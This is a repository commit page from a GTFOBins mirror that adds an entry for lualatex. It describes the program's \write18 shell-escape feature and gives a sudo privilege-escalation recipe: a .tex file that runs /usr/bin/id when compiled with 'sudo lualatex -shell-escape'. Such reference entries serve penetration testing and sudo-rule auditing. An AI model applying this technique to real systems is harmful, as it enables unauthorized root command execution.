mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Create lualatex.md
Add lualatex.
This commit is contained in:
parent
fd30994f8a
commit
806c8054eb
6
_gtfobins/lualatex.md
Normal file
6
_gtfobins/lualatex.md
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
description: `lualatex` is a symbolic link to [`luatex`](/gtfobins/luatex/). However the program does not have the same behaviour regarding the name of argv[0]. It allows to call external command with \write18 but it also allows to call external [`lua`](/gtfobins/lua/) scripts.
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
echo "\documentclass[12pt]{article} \usepackage{shellesc} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
|
||||||
|
sudo lualatex -shell-escape file.tex
|
Loading…
Reference in New Issue
Block a user